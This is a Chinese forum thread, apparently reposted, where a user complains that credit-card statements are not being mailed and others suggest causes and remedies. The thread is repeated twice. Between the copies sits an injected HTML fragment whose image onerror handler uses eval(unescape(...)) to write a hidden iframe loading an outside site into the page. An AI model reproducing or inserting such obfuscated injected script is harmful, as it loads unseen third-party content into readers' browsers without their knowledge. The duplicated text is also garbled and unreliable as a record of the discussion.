我的帐单又没有给我寄
[转贴 2010-02-07 18:15:43]
我的帐单又没有给我寄
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四月份的帐单就没有来，催了半天才给我寄，五月份的帐单到今天还没有来。打95566，半天都接不通。还是该刷其他卡吧。:
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QUOTE:Originally posted by jarrylin at 2007-6-28 10:13 AM:
四月份的帐单就没有来，催了半天才给我寄，五月份的帐单到今天还没有来。打95566，半天都接不通。还是该刷其他卡吧。: 我远在北京,5月的帐单都寄了呀
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在成都，长城卡的普通客户的对账单寄发是通过外包公司寄的。有可能出现的原因是1、在申请表填写时，对账单邮寄地址书写不详，邮编不清。2、输机人员在输入系统时，输错对账单地址。3、外包公司的问题。（具体不详）4、你的地址改变。如是员工卡，对账单的寄发是先统一在省分行卡部分发到各支行，由于省分行人手缺乏，又缺乏激励，出错率就更高了。
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解决方法是：1、投诉2、直接去卡部告知相关工作人员3、如果你配有客户经理··········
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QUOTE:Originally posted by jarrylin at 2007-6-28 10:13:
四月份的帐单就没有来，催了半天才给我寄，五月份的帐单到今天还没有来。打95566，半天都接不通。还是该刷其他卡吧。: 用招卡啊，很好的，不会占线的
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如果有传真机的话，自己传真一份好了，对帐单的主要作用还是供您核对交易记录，只要没有差错（{zh1}的余额），不看也罢，我有几次没收到，让他们补寄了一次，后来就算了，估计邮局也有可能出错的
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QUOTE:Originally posted by hataxu at 2007-6-29 01:27:
如果有传真机的话，自己传真一份好了，对帐单的主要作用还是供您核对交易记录，只要没有差错（{zh1}的余额），不看也罢，我有几次没收到，让他们补寄了一次，后来就算了，估计邮局也有可能出错的 我没有传真机。当然帐单就是要对帐。我现在每次都要打电话查我要还多少钱。不寄对帐单，我交的年费干什么用啊？（哦，我是免年费的）
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我写的2篇回复，可是我的积分没有增加。:
现在正常了。
[ Last edited by jarrylin on 2007-6-29 at 10:19 ]
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QUOTE:Originally posted by jarrylin at 2007-6-28 10:13 AM:
四月份的帐单就没有来，催了半天才给我寄，五月份的帐单到今天还没有来。打95566，半天都接不通。还是该刷其他卡吧。: 这的确是个xx的问题。
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我的是贷记卡，每月准时收到帐单
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0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
四月份的帐单就没有来，催了半天才给我寄，五月份的帐单到今天还没有来。打95566，半天都接不通。还是该刷其他卡吧。:
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QUOTE:Originally posted by jarrylin at 2007-6-28 10:13 AM:
四月份的帐单就没有来，催了半天才给我寄，五月份的帐单到今天还没有来。打95566，半天都接不通。还是该刷其他卡吧。: 我远在北京,5月的帐单都寄了呀
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在成都，长城卡的普通客户的对账单寄发是通过外包公司寄的。有可能出现的原因是1、在申请表填写时，对账单邮寄地址书写不详，邮编不清。2、输机人员在输入系统时，输错对账单地址。3、外包公司的问题。（具体不详）4、你的地址改变。如是员工卡，对账单的寄发是先统一在省分行卡部分发到各支行，由于省分行人手缺乏，又缺乏激励，出错率就更高了。
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解决方法是：1、投诉2、直接去卡部告知相关工作人员3、如果你配有客户经理··········
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QUOTE:Originally posted by jarrylin at 2007-6-28 10:13:
四月份的帐单就没有来，催了半天才给我寄，五月份的帐单到今天还没有来。打95566，半天都接不通。还是该刷其他卡吧。: 用招卡啊，很好的，不会占线的
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如果有传真机的话，自己传真一份好了，对帐单的主要作用还是供您核对交易记录，只要没有差错（{zh1}的余额），不看也罢，我有几次没收到，让他们补寄了一次，后来就算了，估计邮局也有可能出错的
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QUOTE:Originally posted by hataxu at 2007-6-29 01:27:
如果有传真机的话，自己传真一份好了，对帐单的主要作用还是供您核对交易记录，只要没有差错（{zh1}的余额），不看也罢，我有几次没收到，让他们补寄了一次，后来就算了，估计邮局也有可能出错的 我没有传真机。当然帐单就是要对帐。我现在每次都要打电话查我要还多少钱。不寄对帐单，我交的年费干什么用啊？（哦，我是免年费的）
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我写的2篇回复，可是我的积分没有增加。:
现在正常了。
[ Last edited by jarrylin on 2007-6-29 at 10:19 ]
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QUOTE:Originally posted by jarrylin at 2007-6-28 10:13 AM:
四月份的帐单就没有来，催了半天才给我寄，五月份的帐单到今天还没有来。打95566，半天都接不通。还是该刷其他卡吧。: 这的确是个xx的问题。
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我的是贷记卡，每月准时收到帐单
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